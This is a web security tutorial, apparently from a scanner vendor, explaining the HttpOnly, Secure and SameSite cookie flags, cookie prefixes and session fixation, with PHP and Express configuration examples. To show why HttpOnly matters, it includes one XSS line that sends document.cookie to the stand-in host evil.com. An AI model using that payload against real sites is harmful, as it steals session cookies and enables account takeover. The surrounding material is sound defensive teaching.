
In short. Three flags decide what an attacker can do with a session cookie: HttpOnly keeps script from reading it, Secure keeps it off plaintext connections, and SameSite decides whether it is sent on cross-site requests. Missing any one of them turns a different class of bug into account takeover.
Why Cookie Security Is Critical
Cookies are the primary mechanism for session storage and authentication on the web. Misconfigured cookies open doors to attacks: session theft via XSS, request forgery via CSRF, and data interception over HTTP. Three key flags — HttpOnly, Secure, and SameSite — close most of these vulnerabilities.
The HttpOnly Flag
The HttpOnly flag prevents JavaScript from accessing the cookie. The browser sends the cookie with HTTP requests, but document.cookie cannot see it.
Without this flag, an attacker can inject a script through an XSS vulnerability and steal the session cookie:
// XSS attack without HttpOnly new Image().src = "https://evil.com/steal?c=" + document.cookie;
With the HttpOnly flag, this attack is impossible — JavaScript simply has no access to the cookie.
When to use: always for session cookies and authentication tokens. Do not set it for cookies that JavaScript needs (e.g., theme or language preferences).
Set-Cookie: session_id=abc123; HttpOnly; Path=/
The Secure Flag
The Secure flag ensures the cookie is only transmitted over HTTPS. Without this flag, the cookie can be intercepted during HTTP transmission — for example, on public Wi-Fi networks.
Man-in-the-middle attack without the Secure flag:
- User connects to public Wi-Fi
- Browser sends an HTTP request (before the HTTPS redirect)
- Cookie is transmitted in plaintext
- Attacker intercepts the session
When to use: always, if your site runs on HTTPS (and it should). All session and authentication cookies must have this flag.
Set-Cookie: session_id=abc123; Secure; HttpOnly; Path=/
The SameSite Attribute
The SameSite attribute controls whether the cookie is sent with cross-site requests. It is the primary defense against CSRF attacks.
SameSite=Strict
The cookie is never sent with cross-site requests. Maximum security, but it can hurt UX — if a user follows a link to your site from an email, they won't be logged in.
SameSite=Lax
The cookie is sent with top-level navigation (clicking a link) but not with POST requests, iframes, or AJAX from other sites. This is the default value in modern browsers — a good balance of security and usability.
SameSite=None
The cookie is sent with all cross-site requests. Requires the Secure flag. Use only when the cookie is genuinely needed on another domain (widgets, OAuth, iframe integrations).
// Recommended settings for session cookie Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/ // For cross-site widget Set-Cookie: widget_token=xyz; Secure; SameSite=None; Path=/
Additional Cookie Attributes
Domain
Defines which domain can access the cookie. Without the Domain attribute, the cookie is bound to the exact domain only. With Domain=.example.com, it's accessible to all subdomains.
Recommendation: don't set Domain unless necessary. The narrower the scope, the more secure.
Path
Restricts the cookie to a specific path. Path=/admin means the cookie is only sent for requests to /admin and nested paths.
Max-Age and Expires
Max-Age sets the cookie's lifetime in seconds. Expires sets an absolute date. Without either, the cookie is a session cookie and is deleted when the browser closes.
Set-Cookie: remember_me=token; Max-Age=2592000; HttpOnly; Secure; SameSite=Lax
Cookie Prefixes: __Host- and __Secure-
Special name prefixes provide additional guarantees:
__Secure-— cookie must have theSecureflag__Host-— cookie must haveSecure,Path=/, and noDomain
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
Recommended Configuration
For a typical web application:
// PHP
session_set_cookie_params([
'lifetime' => 0, // Session cookie
'path' => '/',
'domain' => '', // Current domain only
'secure' => true, // HTTPS only
'httponly' => true, // No JS access
'samesite' => 'Lax' // CSRF protection
]);
PHP
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict',
]);
session_start();
setcookie('csrf_token', $token, [
'expires' => time() + 3600,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict',
]);
Express / NestJS
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600_000,
},
}));
res.cookie('token', jwt, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600_000,
path: '/',
});
Session fixation and regenerate_id
Always call session_regenerate_id(true) (PHP) or equivalent after login — otherwise an attacker can pre-plant a session ID.
if (loginSuccess($user, $pass)) {
session_regenerate_id(true);
$_SESSION['user_id'] = $user['id'];
}
How to Check Cookie Settings
Use the Enterno.io Security Scanner to check your website's security headers, including cookie settings. In Chrome DevTools, you can view cookies under Application → Cookies, where all flags for each cookie are visible.
FAQ
Is SameSite=Lax safe? For most apps, yes. For banking-grade operations use Strict plus a CSRF token.
Why doesn't my cookie show up in cross-domain fetch? Requires credentials: 'include', CORS with Allow-Credentials: true, and SameSite=None; Secure.
Does __Host- break subdomains? Yes — scoped to the exact host. app.example.com and api.example.com need separate cookies.
JWT in a cookie? Yes — safer than localStorage (HttpOnly defeats XSS). Pair with CSRF token or SameSite=Strict.
Summary
Three flags — HttpOnly, Secure, SameSite — are mandatory for all session cookies. They protect against XSS session theft, MITM interception, and CSRF attacks. Configure them once and close an entire class of vulnerabilities.